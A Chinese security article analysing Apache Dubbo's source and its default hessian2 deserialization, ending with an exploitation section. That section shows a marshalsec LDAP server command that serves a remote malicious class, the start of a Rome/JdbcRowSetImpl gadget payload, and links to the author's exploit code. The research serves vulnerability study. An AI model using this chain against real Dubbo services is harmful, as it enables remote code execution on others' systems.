一、前言
官方github描述:1
Apache Dubbo is a high-performance, java based, open source RPC framework.
Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
现在大部分企业开发,无论是微服务架构,还是传统的垂直切分架构,大部分都用到了RPC(远程过程调用),实现分布式的协作,其中有比较简单的RESTful方式的RPC实现,也有自定义协议自成一系的RPC实现,而大部分RPC实现框架都使用了一种或多种序列化方式对传输数据进行序列化以及反序列化。
Apache Dubbo是本篇文章主要讲述的RPC实现框架,我会使用我一贯的源码浅析风格,对其进行原理细节的分析探讨,先从dubbo的简单使用,慢慢引申出其源码架构细节,最后在了解大概原理后,重点分析其默认hessian2序列化实现细节。
我希望您看完这篇文章之后,能对dubbo的大概架构和源码具有比较清晰的理解,以及对序列化、反序列化部分有充分的理解,希望为您学习dubbo源码走少一点弯路,并且能挖掘出dubbo的潜在安全问题,从而完善它,使它更加的健壮更加的安全。
二、源码浅析
2.1 简单使用
dubbo的使用非常简单,一般普遍使用的是传统的spring方式,不过这种方式使用上没有在spring-boot上使用更便捷。
2.1.1 启动注册中心(zookeeper)
启动一个本地的zookeeper,端口为2181
2.1.2 服务端
service(接口定义和实现相关):
1 | public class A implements Serializable { |
1 | public interface DemoService { |
1 | public class DemoServiceImpl implements DemoService { |
spring xml配置(dubbo-provider.xml):
1 | <?xml version="1.0" encoding="UTF-8"?> |
启动jvm创建spring容器(main):
1 | public class Main { |
2.1.3 客户端
spring xml配置(dubbo-consumer.xml):
1 | <?xml version="1.0" encoding="UTF-8"?> |
启动jvm,执行RPC(main):
1 | public class Main { |
2.1.4 RPC
在上述注册中心、服务端、客户端依次执行后,可以看到,客户端输出了“hello! threedr3am”
2.2 源码跟踪
我们以上述spring的使用例子展开,一步一步的跟踪源码的执行流程。
从github clone到dubbo的源码后,可以发现,源码(2.6.x版本)分成了很多module
1 | ├── dubbo-all |
接着,我们启动服务端main程序,这里我们略过spring容器的创建细节,因为spring容器的源码。。。这可以写一本书了,我们只从服务端读取解析dubbo-provider.xml配置创建容器后refresh的ServiceBean(dubbo-config中)开始,这里才是真正的dubbo的相关代码起始处。
这边贴一下,服务端程序启动时expose service的执行栈信息:
1 | com.alibaba.dubbo.remoting.transport.netty4.NettyTransporter.bind(NettyTransporter.java:32) |
下一步,我们跟进dubbo-config的子module,也即dubbo-config-spring这个module,从它的com.alibaba.dubbo.config.spring.ServiceBean类开始。
从我们前面贴出来的执行栈信息,跟进com.alibaba.dubbo.config.spring.ServiceBean类的onApplicationEvent方法:
1 | @Override |
- isDelay():判断服务端,也就是服务提供者provider是否在dubbo:service这个标签配置中配置了delay,若配置了delay值(毫秒为单位),则暴露expose服务会延迟到delay值对应的时间后。若配置了值,isDelay()会返回false,则不执行export()。
- export():暴露服务到注册中心
接着,跟进export方法:
1 | @Override |
父类的expose方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25public synchronized void export() {
//如果ProviderConfig配置存在,并且export、delay等配置为空,则读取ProviderConfig配置
if (provider != null) {
if (export == null) {
export = provider.getExport();
}
if (delay == null) {
delay = provider.getDelay();
}
}
if (export != null && !export) {
return;
}
//若配置了delay延迟暴露,则通过定时调度进行延迟暴露,否则立即暴露服务
if (delay != null && delay > 0) {
delayExportExecutor.schedule(new Runnable() {
@Override
public void run() {
doExport();
}
}, delay, TimeUnit.MILLISECONDS);
} else {
doExport();
}
}
expose方法做了synchronized同步处理,应该是为了避免并发执行。
doExport方法:
1 | protected synchronized void doExport() { |
这个方法中,大部分逻辑都是对配置信息的检查:
- checkDefault():检查ProviderConfig是否存在,若不存在,则创建一个新的ProviderConfig,接着,从系统变量中读取相关约定的配置值设置进去。
- checkApplication():主要检查ApplicationConfig是否存在,若不存在,则和checkDefault()中的处理大体相同。application用于配置dubbo服务的应用信息。
- checkRegistry():检查RegistryConfig,同上处理,不过RegistryConfig是集合形式,具有多个配置,每一个RegistryConfig都代表一个注册中心配置。
- checkProtocol():检查ProtocolConfig,同上处理。ProtocolConfig是用于配置dubbo服务RPC所用的协议,一般都是默认使用dubbo协议进行通讯。
- appendProperties(this):对ServiceConfig进行配置追加处理,从系统变量读取约定key的配置值。
- checkStub(interfaceClass)和checkMock(interfaceClass):检查service的interface是否满足stub和mock。
- doExportUrls():暴露服务核心逻辑方法。
doExportUrls():
1 | private void doExportUrls() { |
dubbo的设置,是基于总线模式,也就是它的配置传递,全部都靠URL这个类的实例进行传递,有好处也有坏处,好处是对于一些方法栈比较深的参数传递,在进行代码修改后,不需要修改传递中所涉及到的所有方法,而坏处是,不够直观,URL中到底存有哪些数据参数传递,可读性很差。
loadRegistries(true):
1 | protected List<URL> loadRegistries(boolean provider) { |
doExportUrlsFor1Protocol(protocolConfig, registryURLs):
1 | private void doExportUrlsFor1Protocol(ProtocolConfig protocolConfig, List<URL> registryURLs) { |
doExportUrlsFor1Protocol方法中,主要就是做了两件事:
- 对URL总线配置追加一些配置
- 对服务实现类进行动态代理,生成invoker,接着使用通讯协议实现类进行服务暴露
服务暴露的主要代码有两处:
1 | Invoker<?> invoker = proxyFactory.getInvoker(ref, (Class) interfaceClass, registryURL.addParameterAndEncoded(Constants.EXPORT_KEY, url.toFullString())); |
1 | Invoker<?> invoker = proxyFactory.getInvoker(ref, (Class) interfaceClass, url); |
这两处基本都是一致的处理,首先通过proxyFactory代理工厂对象对interface进行代理,dubbo中代理工厂实现有两类:
- javassist
- jdk proxy
1 | org.apache.dubbo.rpc.proxy.javassist.JavassistProxyFactory |
它们位于dubbo-rpc-api这个module的com.alibaba.dubbo.rpc.proxy包底下。
其中它们都具有getProxy、getInvoker方法实现
getProxy:主要用于服务消费者对interface进行代理,生成实例提供程序调用。而InvokerInvocationHandler是实际调用对象,其对上层程序代码隐藏了远程调用的细节
1 | public <T> T getProxy(Invoker<T> invoker, Class<?>[] interfaces) { |
getInvoker:主要用于服务提供者对实际被调用实例进行代理包装,以实现实际对象方法被调用后,进行结果、异常的CompletableFuture的封装
1 | @Override |
也就是说,getProxy方法为服务消费者,也就是RPC的客户端生成代理实例,作为进行RPC的媒介,而getInvoker为服务提供者,也即是RPC的服务端,它的服务实现进行包装。
客户端,也就是服务消费者在执行RPC时,真正执行的是InvokerInvocationHandler的invoke,了解java动态代理的会很清楚,InvokerInvocationHandler包装了真正的RPC实现
InvokerInvocationHandler:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
Class<?>[] parameterTypes = method.getParameterTypes();
if (method.getDeclaringClass() == Object.class) {
return method.invoke(invoker, args);
}
if ("toString".equals(methodName) && parameterTypes.length == 0) {
return invoker.toString();
}
if ("hashCode".equals(methodName) && parameterTypes.length == 0) {
return invoker.hashCode();
}
if ("equals".equals(methodName) && parameterTypes.length == 1) {
return invoker.equals(args[0]);
}
if ("$destroy".equals(methodName) && parameterTypes.length == 0) {
invoker.destroy();
}
RpcInvocation rpcInvocation = new RpcInvocation(method, invoker.getInterface().getName(), args);
rpcInvocation.setTargetServiceUniqueName(invoker.getUrl().getServiceKey());
return invoker.invoke(rpcInvocation).recreate();
}
从上述代码可以知道,对于一些方法,默认是不会进行RPC。
AbstractProxyInvoker:
1 | public Result invoke(Invocation invocation) throws RpcException { |
到此为止的总结是:
- 服务提供者启动时,先创建相应选择的协议对象(Protocol),然后通过代理工厂创建Invoker对象,接着使用协议对象对Invoker进行服务注册至注册中心。
- 服务消费者启动时,先创建相应选择的协议对象(Protocol),然后通过协议对象引用到服务提供者,得到Invoker对象,接着通过代理工厂创建proxy对象。
回到ServiceConfig的doExportUrlsFor1Protocol方法中:
1 | Exporter<?> exporter = protocol.export(wrapperInvoker); |
从栈信息我们可以知道,其中protocol经过了多层的包装,通过装饰模式进行一些额外功能的加入,从而实现一条链式的执行,包括注册中心注册、协议暴露等。
跟进protocol的注册协议expose实现中(com.alibaba.dubbo.registry.integration.RegistryProtocol#export):
1 | @Override |
注册到注册中心:1
2
3
4public void register(URL registryUrl, URL registedProviderUrl) {
Registry registry = registryFactory.getRegistry(registryUrl);
registry.register(registedProviderUrl);
}
实际上,真正的注册到注册中心的实现,被com.alibaba.dubbo.registry.support.FailbackRegistry#register包装了
FailbackRegistry#register:
1 | @Override |
FailbackRegistry实现了一些容错机制的处理。
doRegister的具体实现,因为我们这边配置的是zookeeper注册中心,所以实现类为com.alibaba.dubbo.registry.zookeeper.ZookeeperRegistry#doRegister
1 | @Override |
这边用惯zookeeper的读者,可以清晰的看到,使用了zookeeper的java客户端进行创建节点,也就是完成了对服务的注册到注册中心(zookeeper)。
接着,在装饰模式下,下一步执行的是dubbo协议的暴露服务。
跟进protocol的dubbo协议expose实现中(com.alibaba.dubbo.rpc.protocol.dubbo.DubboProtocol#export):
1 | @Override |
上述代码的核心地方是openServer方法的调用,最终通过它创建一个服务提供者的服务端,用于接收消费者的RPC请求。
1 | private void openServer(URL url) { |
创建服务:1
2
3
4
5
6
7
8
9
10private ExchangeServer createServer(URL url) {
//...
ExchangeServer server;
try {
server = Exchangers.bind(url, requestHandler);
} catch (RemotingException e) {
throw new RpcException("Fail to start server(url: " + url + ") " + e.getMessage(), e);
}
//...
}
从上面的代码可以看到,dubbo中不但广泛地使用URL消息总线模式,还广泛的使用SPI(PS:扩展了Java原生的SPI)
跟进Exchangers.bind(url, requestHandler)方法实现:
1 | public static ExchangeServer bind(URL url, ExchangeHandler handler) throws RemotingException { |
根据URL的配置,通过SPI选择Exchanger的实现,执行bind,最后生成ExchangeServer。
Exchangers类中,可以看到有很多重载的bind、connect方法,bind方法返回的是ExchangeServer,connect方法返回的是ExchangeClient,下面是以前阅读dubbo源码做的一些笔记总结:
- ExchangeServer:服务提供者对服务暴露时,使用Protocol对象进行export,export中对其进行Exchangers.bind得到ExchangeServer,其重点为第二个参数ExchangeHandler,其被多个handler进行包装,进行了多层的处理,其为最外层,进行实际实例方法的调用invoke,然后返回Result
- ExchangeClient:服务消费者对服务引用时,使用Protocol对象进行refer,refer中中对其进行Exchangers.connect得到ExchangeClient,然后把其封装在Invoker中,接着Invoker被proxy,当消费者执行Proxy对象方法时,其会通过InvokeInvocationHandler对Invoker进行invoke,然后Invoker调用ExchangeClient进行request,其重点为第二个参数ExchangeHandler,其被多个handler进行包装,进行了多层的处理,其为最外层,对响应进行处理DefaultFuture.received
回到前面,Exchangers.bind时传入的是requestHandler:
1 | private ExchangeHandler requestHandler = new ExchangeHandlerAdapter() { |
但在bind的时候,因为默认SPI选择的是HeaderExchanger,分析它的bind方法,可以看到,其ExchangeHandler被进行了多层封装:
1 | public class HeaderExchanger implements Exchanger { |
跟进Transporters.bind,可以看到,还是使用了SPI
1 | public static Server bind(URL url, ChannelHandler... handlers) throws RemotingException { |
根据dubbo改造的SPI原理,因为我们并没有对Transporter的实现进行配置,所以,默认会选择注解@SPI(“netty”)指定的NettyTransporter实现进行bind
1 | public class NettyTransporter implements Transporter { |
可以看到,其实服务提供者和消费者,默认最终bind和connect都执行到这里,bind创建了一个netty的服务,也就是tcp的监听器,说到netty,我们知道,一个netty服务,对于数据包的解析或者封装,都会用到pipe,而我们这篇文章的最核心点就在其中的pipe
1 | public class NettyServer extends AbstractServer implements Server { |
从上面的代码中,可以找到pipe链有两个分别是decoder和encoder,分别是对接收的数据进行解码,以及对响应数据进行编码。其中的解码和编码器实现,从NettyCodecAdapter获取,而NettyCodecAdapter中通过内部类的方式实现了解码和编码器,但真正的核心编解码还是交给了Codec2
Codec2的构造,我们重新回到NettyServer的构造方法:
1 | public NettyServer(URL url, ChannelHandler handler) throws RemotingException { |
继续跟进其父类AbstractServer的父类AbstractEndpoint的构造方法,就能看到Codec2也是通过SPI的方式获取
1 | public AbstractEndpoint(URL url, ChannelHandler handler) { |
那么,具体这个Codec2使用的是哪个实现?我们也没对其进行配置,SPI对于的接口类中注解也没有配置默认实现。
其实,回到com.alibaba.dubbo.rpc.protocol.dubbo.DubboProtocol#createServer中,我们可以看到,在这个方法中执行了这样一行代码,为URL重添加了一个配置参数:
1 | url = url.addParameter(Constants.CODEC_KEY, DubboCodec.NAME); |
所以,因为我们用的是dubbo协议,真正的Code2实现,是DubboCodec,位于module dubbo-rpc-dubbo中,包com.alibaba.dubbo.rpc.protocol.dubbo下。
我们暂时只关注解码,从decodeBody方法,我们可以清晰看到,dubbo协议自己定义了协议通讯时的数据包头和体:
1 | protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException { |
下面是我对其协议的一些整理总结:
header:1
2
3
4
5
6
7
8
90-7位和8-15位:Magic High和Magic Low,类似java字节码文件里的魔数,用来判断是不是dubbo协议的数据包,就是一个固定的数字
16位:Req/Res:请求还是响应标识。
17位:2way:单向还是双向
18位:Event:是否是事件
19-23位:Serialization 编号
24-31位:status状态
32-95位:id编号
96-127位:body数据长度
128-…位:body
body:1
2
3
4
5
6
71.dubboVersion
2.path
3.version
4.methodName
5.methodDesc
6.paramsObject
7.map
rpc tcp报文(ascii):1
... .G.2.0.20,com.threedr3am.learn.server.boot.DemoService.1.0.hello0$Lcom/threedr3am/learn/server/boot/A;C0"com.threedr3am.learn.server.boot.A..name`.xxxxH.path0,com.threedr3am.learn.server.boot.DemoService.activelimit_filter_start_time 1577081623564 interface0,com.threedr3am.learn.server.boot.DemoService.version.1.0.timeout.3000Z
rpc tcp报文(hex):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22dabb c200 0000 0000 0000 0000 0000 0149
0532 2e30 2e32 302c 636f 6d2e 7468 7265
6564 7233 616d 2e6c 6561 726e 2e73 6572
7665 722e 626f 6f74 2e44 656d 6f53 6572
7669 6365 0331 2e30 0568 656c 6c6f 3024
4c63 6f6d 2f74 6872 6565 6472 3361 6d2f
6c65 6172 6e2f 7365 7276 6572 2f62 6f6f
742f 413b 4330 2263 6f6d 2e74 6872 6565
6472 3361 6d2e 6c65 6172 6e2e 7365 7276
6572 2e62 6f6f 742e 4191 046e 616d 6560
0678 7561 6e79 6848 0470 6174 6830 2c63
6f6d 2e74 6872 6565 6472 3361 6d2e 6c65
6172 6e2e 7365 7276 6572 2e62 6f6f 742e
4465 6d6f 5365 7276 6963 651d 6163 7469
7665 6c69 6d69 745f 6669 6c74 6572 5f73
7461 7274 5f74 696d 650d 3135 3737 3038
3332 3138 3432 3209 696e 7465 7266 6163
6530 2c63 6f6d 2e74 6872 6565 6472 3361
6d2e 6c65 6172 6e2e 7365 7276 6572 2e62
6f6f 742e 4465 6d6f 5365 7276 6963 6507
7665 7273 696f 6e03 312e 3007 7469 6d65
6f75 7404 3330 3030 5a
接着,直奔我们这次最最核心的地方,CodecSupport.deserialize,它封装了输入流对象,并通过SPI选择对应的反序列化实现,在decode解码输入流时,对其数据进行反序列化:
1 | public static ObjectInput deserialize(URL url, InputStream is, byte proto) throws IOException { |
1 | public static Serialization getSerialization(URL url, Byte id) throws IOException { |
到这里,我们其实已经了解服务提供者service暴露的大概源码细节了,我这边就不再跟进消费者refer服务以及invoke时的源码细节了,因为大体流程其实也差不了多远,下一节,我们将浅析反序列化部分的源码实现,也是我们主要的关注点。
三、hessian2反序列化
上一节中,我们最终跟到了DubboCodec的decodeBody方法实现,这个方法会对使用了dubbo协议的数据包进行解析,根据包数据,判断是请求还是响应,接着根据SPI选择反序列化实现进行反序列化。
在调用CodecSupport的deserialize方法时,我们可以看到它传入的第三个参数proto,这是从dubbo协议数据包的header部获取的数据,在header的19-23位,表示Serialization编号,在获取反序列化实现时,根据这个编号从ID_SERIALIZATION_MAP缓存中取出相应的反序列化实现
CodecSupport:1
2
3
4
5
6
7
8
9
10
11
12
13
14public static Serialization getSerializationById(Byte id) {
return ID_SERIALIZATION_MAP.get(id);
}
public static Serialization getSerialization(URL url, Byte id) throws IOException {
Serialization serialization = getSerializationById(id);
String serializationName = url.getParameter(Constants.SERIALIZATION_KEY, Constants.DEFAULT_REMOTING_SERIALIZATION);
// Check if "serialization id" passed from network matches the id on this side(only take effect for JDK serialization), for security purpose.
if (serialization == null
|| ((id == 3 || id == 7 || id == 4) && !(serializationName.equals(ID_SERIALIZATIONNAME_MAP.get(id))))) {
throw new IOException("Unexpected serialization id:" + id + " received from network, please check if the peer send the right id.");
}
return serialization;
}
那也就是说,我们是否可以随意修改数据包中的Serialization编号编号,选择更容易被利用的反序列化实现?
然而并不行,从上面代码,其实我们能看到有个if判断,如果编号为3、4、7或者编号取出的反序列化实现名称和服务提供者端配置的不一致,都会抛出异常。
而在缺省配置下,默认dubbo协议的反序列化,使用的是hessian2实现。
接着,跟进请求消息体的解码实现:
1 | protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException { |
DecodeableRpcInvocation.decode:
1 | @Override |
1 | @Override |
具体的消息体的组成结构为:1
2
3
4
5
6
71.dubboVersion
2.path
3.version
4.methodName
5.methodDesc
6.paramsObject
7.map
接着,跟进默认hessian2的反序列化实现,readObject中
com.alibaba.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readObject(java.lang.Class
1 | @Override |
readObject对mH2这个对象进行了封装,看Hessian2ObjectInput构造方法:
1 | private final Hessian2Input mH2i; |
封装的类对象为Hessian2Input,跟进Hessian2Input的readObject方法实现:
1 | public Object readObject(Class cl) throws IOException { |
可以看到,其实现代码非常长,但是不难理解,hessian2的readObject反序列化,都是根据读到约定的字符tag,从而进行约定的数据读取处理
这样,根据我们抓包得到的序列化数据,我们就不难理解其结构组成了:
1 | ... .G.2.0.20,com.threedr3am.learn.server.boot.DemoService.1.0.hello0$Lcom/threedr3am/learn/server/boot/A;C0"com.threedr3am.learn.server.boot.A..name`.xxxxH.path0,com.threedr3am.learn.server.boot.DemoService.activelimit_filter_start_time 1577081623564 interface0,com.threedr3am.learn.server.boot.DemoService.version.1.0.timeout.3000Z |
- .G.2.0.20:dubbo版本
- com.threedr3am.learn.server.boot.DemoService:path
- 1.0:version
- hello0:方法名
- Lcom/threedr3am/learn/server/boot/A;:方法描述
hessian-tag:
- C:类定义
- H:键值对
- …具体细节也不详细描述
其实,我们只要知道了dubbo协议请求的数据结构组成,那么,我们就能随意创建数据包,去进行反序列化攻击。
但是,对hessian2反序列化,有一个关键的细节,就是对于类的反射构造实例化,会有比较大的限制:
1 | case 'C': { |
从前面所说的数据包,以及C这个tag的含义,我们可以看到,数据包的反序列化,会先对方法传入参数对应的class,进行类定义的读取,接着
1 | case 0x60: |
进行实例的反序列化
1 | private Object readObjectInstance(Class cl, ObjectDefinition def) |
可以看到1
String type = def.getType();
读取了类定义,接着1
String[] fieldNames = def.getFieldNames();
读取了类字段集合
因为反序列化的是java类,因此,Deserializer的实现为com.alibaba.com.caucho.hessian.io.JavaDeserializer,跟进其构造方法,可以看到:
1 | public JavaDeserializer(Class cl) { |
可以看到,构造方法的选择,只选择花销最小并且只有基本类型传入的构造方法,而这,就是hessian2反序列化中最大的限制。
最终执行其reader.readObject(this, fieldNames)方法,完成类的反射方式实例化
1 | @Override |
并在实例化后,把字段值设置进去
1 | public Object readObject(AbstractHessianInput in, |
四、反序列化利用(hessian2)
在上一节中,详细的描述了dubbo默认的hessian2反序列化,通过上一节,我们也清楚的理解了hessian2的反序列化大概源码执行流程,以及其反序列化攻击的利用限制。
对其整理一下:
- 默认dubbo协议+hessian2序列化方式
- 序列化tcp包可随意修改方法参数反序列化的class
- 反序列化时先通过构造方法实例化,然后在反射设置字段值
- 构造方法的选择,只选择花销最小并且只有基本类型传入的构造方法
由此,想要rce,估计得找到以下条件的gadget clain:
- 有参构造方法
- 参数不包含非基本类型
- cost最小的构造方法并且全部都是基本类型或String
这样的利用条件太苛刻了,不过万事没绝对,参考marshalsec,可以利用rome依赖使用HashMap触发key的hashCode方法的gadget chain来打,以下是对hessian2反序列化map的源码跟踪:
1 | @Override |
->
1 | @Override |
->1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17@Override
public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
//...
switch (tag) {
//...
case 'H': {
Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);
boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;
// fix deserialize of short type
return reader.readMap(this
, keyValuePair ? expectedTypes[0] : null
, keyValuePair ? expectedTypes[1] : null);
}
//...
}
}
->
1 | @Override |
->1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16protected void doReadMap(AbstractHessianInput in, Map map, Class<?> keyType, Class<?> valueType) throws IOException {
Deserializer keyDeserializer = null, valueDeserializer = null;
SerializerFactory factory = findSerializerFactory(in);
if(keyType != null){
keyDeserializer = factory.getDeserializer(keyType.getName());
}
if(valueType != null){
valueDeserializer = factory.getDeserializer(valueType.getName());
}
while (!in.isEnd()) {
map.put(keyDeserializer != null ? keyDeserializer.readObject(in) : in.readObject(),
valueDeserializer != null? valueDeserializer.readObject(in) : in.readObject());
}
}
从上面贴出来的部分执行栈信息,可以清晰的看到,最终在反序列化中实例化了新的HashMap,然后把反序列化出来的实例put进去,因此,会触发key的hashCode方法。
创建gadget chain:
- 具有rome依赖的gadget chain
依赖
1 | <dependency> |
创建恶意class,放到http服务器(80端口)
1 | public class ExecObject { |
启动ldap服务
1 | java -jar marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#ExecObject 44321 |
构造payload
1 | JdbcRowSetImpl rs = new JdbcRowSetImpl(); |
我这里把gadget chain的demo放在github上,感兴趣的可以clone下来试试:https://github.com/threedr3am/learnjavabug
具体代码位于com.threedr3am.bug.dubbo包下
- 其它gadget chain
除了rome外,还有其它的gadget chains,例如resin、xbean、spring aop等等,这里就不写出来了。
也可以参考我修改过的marshalsec,已在下面加入了dubbo下dubbo协议默认hessian2反序列化利用的exploit:https://github.com/threedr3am/marshalsec
声明:本文经安全客授权发布,转载请联系安全客平台。